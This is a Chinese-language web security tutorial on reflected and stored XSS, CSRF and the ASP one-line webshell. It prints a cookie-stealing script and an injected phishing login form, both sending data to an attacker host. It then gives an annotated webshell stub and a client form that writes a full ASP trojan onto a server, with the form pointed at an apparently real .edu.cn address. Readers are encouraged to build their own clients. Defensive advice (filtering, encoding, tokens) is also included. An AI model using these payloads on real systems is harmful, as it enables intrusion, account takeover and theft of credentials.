反射型XSS,又称非持久型XSS。之所以称为反射型XSS,则是因为这种攻击方式的注入代码是从目标服务器通过错误信息、搜索结果等等方式“反射”回来的。而称为非持久型XSS,则是因为这种攻击方式具有一次性。攻击者通过电子邮件等方式将包含注入脚本的恶意链接发送给受害者,当受害者点击该链接时,注入脚本被传输到目标服务器上,然后服务器将注入脚本“反射”到受害者的浏览器上,从而在该浏览器上执行了这段脚本。
比如攻击者将如下链接发送给受害者:
http://www.targetserver.com/search.asp?input=<script>alert(document.cookie);</script>
当受害者点击这个链接的时候,注入的脚本被当作搜索的关键词发送到目标服务器的search.asp页面中,则在搜索结果的返回页面中,这段脚本将被当作搜索的关键词而嵌入。这样,当用户得到搜索结果页面后,这段脚本也得到了执行。这就是反射型XSS攻击的原理,可以看到,攻击者巧妙地通过反射型XSS的攻击方式,达到了在受害者的浏览器上执行脚本的目的。由于代码注入的是一个动态产生的页面而不是永久的页面,因此这种攻击方式只在点击链接的时候才产生作用,这也是它被称为非持久型XSS的原因
2.存储型XSS
存储型XSS,又称持久型XSS,他和反射型XSS最大的不同就是,攻击脚本将被永久地存放在目标服务器的数据库和文件中。这种攻击多见于论坛,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入到帖子的内容之中。随着帖子被论坛服务器存储下来,恶意脚本也永久地被存放在论坛服务器的后端存储器中。当其它用户浏览这个被注入了恶意脚本的帖子的时候,恶意脚本则会在他们的浏览器中得到执行,从而受到了攻击。
Xss危害
1.盗取cookie
通过XSS攻击,由于注入代码是在受害者的浏览器上执行,因此能够很方便地窃取到受害者的Cookie信息。比如,我们只要注入类似如下的代码:
<script>location.replace(“http://www.attackpage.com/record.asp?secret=”+document.cookie)</script>
当受害者的浏览器执行这段脚本的时候,就会自动访问攻击者建立的网站www.attackpage.com,打开其中的recourd.asp,将受害者浏览器的Cookie信息给记录下来。这样,攻击者就得到了用户的Cookie信息。
得到受害者的Cookie信息后,攻击者可以很方便地冒充受害者,从而拥有其在目标服务器上的所有权限,相当于受害者的身份认证被窃取了。
2.钓鱼攻击
所谓钓鱼攻击就是构建一个钓鱼页面,诱骗受害者在其中输入一些敏感信息,然后将其发送给攻击者。利用XSS的注入脚本,我们也可以很方便地注入钓鱼页面的代码,从而引导钓鱼攻击。比如下面这样一段代码:

<script>

function hack(){
location.replace(“http://www.attackpage.com/record.asp?username=”+document.forms[0].user.value + “password=” + document.forms[0].pass.value);
}

</script>
<form>
<br> <H3>此功能需要登录:</H3 >
<br><br>请输入用户名:<br>
<input type=”text” id=”user”name=”user”>
<br>请输入密码:<br>
<input type=”password” name =“pass”>
<br><input type=”submit”name=”login” value=”登录”onclick=”hack()”>
</form>

 

注入上面的代码后,则会在原来的页面上,插入一段表单,要求用户输入自己的用户名和密码,而当用户点击“登录”按钮后,则会执行hack()函数,将用户的输入发送到攻击者指定的网站上去。这样,攻击者就成功窃取了该用   户的账号信息。和一般的钓鱼攻击不同,XSS引导的钓鱼攻击由于是对用户信任的网站页面进行修改的。

XSS的预防
1. 输入过滤
对用户的所有输入数据进行检测,比如过滤其中的“<”、“>”、“/”等可能导致脚本注入的特殊字符,或者过滤“script”、“javascript”等脚本关键字,或者对输入数据的长度进行限制等等。同时,我们也要考虑用户可能绕开    ASCII码,使用十六进制编码来输入脚本。因此,对用户输入的十六进制编码,我们也要进行相应的过滤。只要能够严格检测每一处交互点,保证对所有用户可能的输入都进行检测和XSS过滤,就能够有效地阻止XSS攻击。
2. 输出编码
通过前面对XSS攻击的分析,我们可以看到,之所以会产生XSS攻击,就是因为Web应用程序将用户的输入直接嵌入到某个页面当中,作为该页面的HTML代码的一部分。因此,当Web应用程序将用户的输入数据输出到目标页面中时,只要用HtmlEncoder等工具先对这些数据进行编码,然后再输出到目标页面中。这样,如果用户输入一些HTML的脚本,也会被当成普通的文字,而不会成为目标页面HTML代码的一部分得到执行。
3. Cookie防盗
利用XSS攻击,攻击者可以很方便地窃取到合法用户的Cookie信息。因此,对于Cookie,我们可以采取以下的措施。首先,我们要尽可能地避免在Cookie中泄露隐私,如用户名、密码等;其次,我们可以将Cookie信息利用MD5等Hash算法进行多次散列后存放;再次,为了防止重放攻击,我们也可以将Cookie和IP进行绑定,这样也可以阻止攻击者冒充正常用户的身份。

作为一名普通的网络用户,在XSS攻击的预防上我们可以采取以下措施。首先,我们不要轻易相信电子邮件或者网页中的不明链接,这些链接很有可能引导反射型XSS攻击或者使我们访问到一些不安全的网页。其次,我们在不必要的时候可以禁用脚本功能,这样XSS注入的脚本就无法得到运行。
3. CSRF 攻击
CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。
你这可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账……造成的问题包括:个人隐私泄露以及财产安全。
CSRF漏洞现状
CSRF这种攻击方式在2000年已经被国外的安全人员提出,但在国内,直到06年才开始被关注,08年,国内外的多个大型社区和交互网站分别爆出CSRF漏洞,如:NYTimes.com(纽约时报)、Metafilter(一个大型BLOG网站),YouTube和百度HI……而现在,互联网上的许多站点仍对此毫无防备,以至于安全业界称CSRF为“沉睡的巨人”。
原理
网站A :为恶意网站。
网站B :用户已登录的网站。
当用户访问 A站 时,A站 私自访问 B站 的操作链接,模拟用户操作。
假设B站有一个删除评论的链接:http://b.com/comment/?type=delete&id=81723
A站 直接访问该链接,就能删除用户在 B站 的评论。
CSRF 防御技巧
1.验证码
几乎所有人都知道验证码,但验证码不单单用来防止注册机的暴力破解,还可以有效防止CSRF的攻击。验证码算是对抗CSRF攻击最简洁有效的方法。但使用验证码的问题在于,不可能在用户的所有操作上都需要输入验证码.只有一些关键的操作,才能要求输入验证码。不过随着HTML5的发展。利用canvas标签,前端也能识别验证码的字符,让CSRF生效。
2.Token
CSRF能攻击成功,根本原因是:操作所带的参数均被攻击者猜测到。既然知道根本原因,我们就对症下药,利用Token。当向服务器传参数时,带上Token。这个Token是一个随机值,并且由服务器和用户同时持有。当用户提交表单时带上Token值,服务器就能验证表单和session中的Token是否一致。

一句话木马

<%eval request(“#”)%>

来解释下它的原理.
首先是JavaScript脚本的开始标记,其中RUNAT属性的值SERVER表示脚本将在服务器端运行,后面的eval是一句话木马的精华部分,使用 eval方法的话它里面的字符串将会被执行,这样当脚本在服务器端运行的时候同时也执行了Request.form(#)+这句代 码,Request.form(#)的作用是读取客户端文件中html标记属性中name值被命名为#的部分,例如如下摘自一句话客户端的代码:

set iP=server.createObject(“Adodb.Stream”)
iP.Open
iP.Type=2
iP.CharSet=”gb2312″
iP.writetext request(“aoyun”)
iP.SaveToFile server.mappath(“aoyunwan.asp”),2
iP.Close
set iP=nothing
response.redirect “aoyunwan.asp”

学过html的朋友应该注意到了在textarea标记中的name属性被赋值为#,也就是服务器端就是要读取其中的代码(使用Request.form(#)),然后执行(使用eval(Request.form(#)+)),也就是执行了:
set iP=server.createObject(“Adodb.Stream”)
iP.Open
iP.Type=2
iP.CharSet=”gb2312″
iP.writetext request(“aoyun”)
iP.SaveToFile server.mappath(“aoyunwan.asp”),2
iP.Close
set iP=nothing
response.redirect “aoyunwan.asp”

学过asp的朋友应该看的懂,上面代码的意思是首先创建一个流对象ip,然后使用该对象的writetext方法将request(“aoyun”)读取 过来的内容(就是我们常见的一句话客户端的第二个textarea标记中的内容,也就是我们的大马的代码)写入服务端的 aoyunwan.asp文件中,写入结束后使用set iP=nothing 释放Adodb.Stream对象 然后使用response.redirect “aoyunwan.asp” 转向刚才写入大马代码的文件,也就是我们最后看见的大马了!

不过一句话木马能成功的条件依赖于两个条件:一、服务器端没有禁止Adodb.Stream组件,因为我们使用一句话木马写入大马代码的条件是服务器端创 建Adodb.Stream组件,如果该组件被禁用的话是不会写入成功的!二、还有就是权限的问题,如果当前的虚拟目录禁止user组或者everyone写 入操作的话那么也是不会成功的.

============

一句话木马”服务端
就是我们要用来插入到asp文件中的asp语句,(不仅仅是以asp为后缀的数据库文件),该语句将回为触发,接收入侵者通过客户端提交的数据,执行并完成相应的操作,服务端的代码内容为 <%execute request(“value”)%> 其中value可以自己修改

“一句话木马”客户端
用来向服务端提交控制数据的,提交的数据通过服务端构成完整的asp功能语句并执行,也就是生成我们所需要的asp木马文件

一句话木马客户端源文件:

***********************************************************

<form action=http://cjy.xjife.edu.cn/news/ebook/db/ebook.asp method=post>
//”action=”后面是需要修改的以asp命名的数据库的提交地址
//这个标签的意思是建立一个表单 以post方式提交给连接http://cjy.xjife.edu.cn/news/ebook/db/ebook.asp处理

<textarea name=value cols=120 rows=10 width=45>
//这里的value值根据服务端<%execute request(“value”)%>中value而设定
//可以自行修改成<%execute request(“p”)%>相应这里的value值也必须改为p

set lP=server.createObject(“Adodb.Stream”)//建立流对象,有了对象才可以使用它固有的属性和方法
lP.Open //打开
lP.Type=2 //以文本方式
lP.CharSet=”gb2312″ //字体标准
lP.writetext request(“joeving”) //取得木马内容 参数joeving可以自己定义 但必须和下面的name=joeving相对应
lP.SaveToFile server.mappath(“wei.asp”),2
//将木马内容以覆盖文件的方式写入wei.asp
//2就是已覆盖的方式,这里的wei.asp也是可以自己定义的,如定义成1.asp
//但和下面的response.redirect”wei.asp”中wei.asp的保持一致
lP.Close //关闭对象
set lP=nothing //释放对象
response.redirect “wei.asp” //转向生成的wei.asp 和上面的wei.asp相对应,也就是你熟悉的asp木马登 陆界面
</textarea>
//这段程序的功能:利用插入到数据库文件的<%execute request(“value”)%>这段代码执行第一个textarea中的内容,并将添加的木马内容写入和指向wei.asp,这样就相当于在服务器上建立了个asp木马文件,这样就可以取得webshell了

<textarea name=joeving cols=120 rows=10 width=45>添入生成木马的内容/textarea><BR><center><br>
//这段标签是你用来添加木马内容用的

<input type=submit value=提交>
</form>

***********************************************************

//程序的主要框架是
<form>
<textarea></textarea>//取得木马内容并用无组件上传技术在服务器端创建asp木马文件并显示
<textarea></textarea>//添加木马内容用的
</form>
其实都是些很简单的一些html和asp的知识,大家不妨自己写个自己的木马客户端~~~呵呵

当然文章的目的还是要让大家了解这种技术,从而更好的做好安全防范措施

里面涉及到一些脚本知识,我就只讲解一下功能和简单注释,不详细讲了,大家只要注意几个注意点就行了

个人的理解是通过输入sql注入就是通过输入合法恶意的sql语句来实现对数据库的攻击,跨站脚本攻击则是通过输入恶意的js等语句来实现对网站的攻击,csrf则是通过恶意网站实现对另一个网站的恶意操作,让用户通过恶意网站来对其他合法网站做恶意的操作。

一句话木马是通过对某些通过php,asp等语言编写的网站进行攻击,主要通过对网页写入<%eval request(“#”)%>,然后调用一个脚本文件来生成并对数据库插入木马。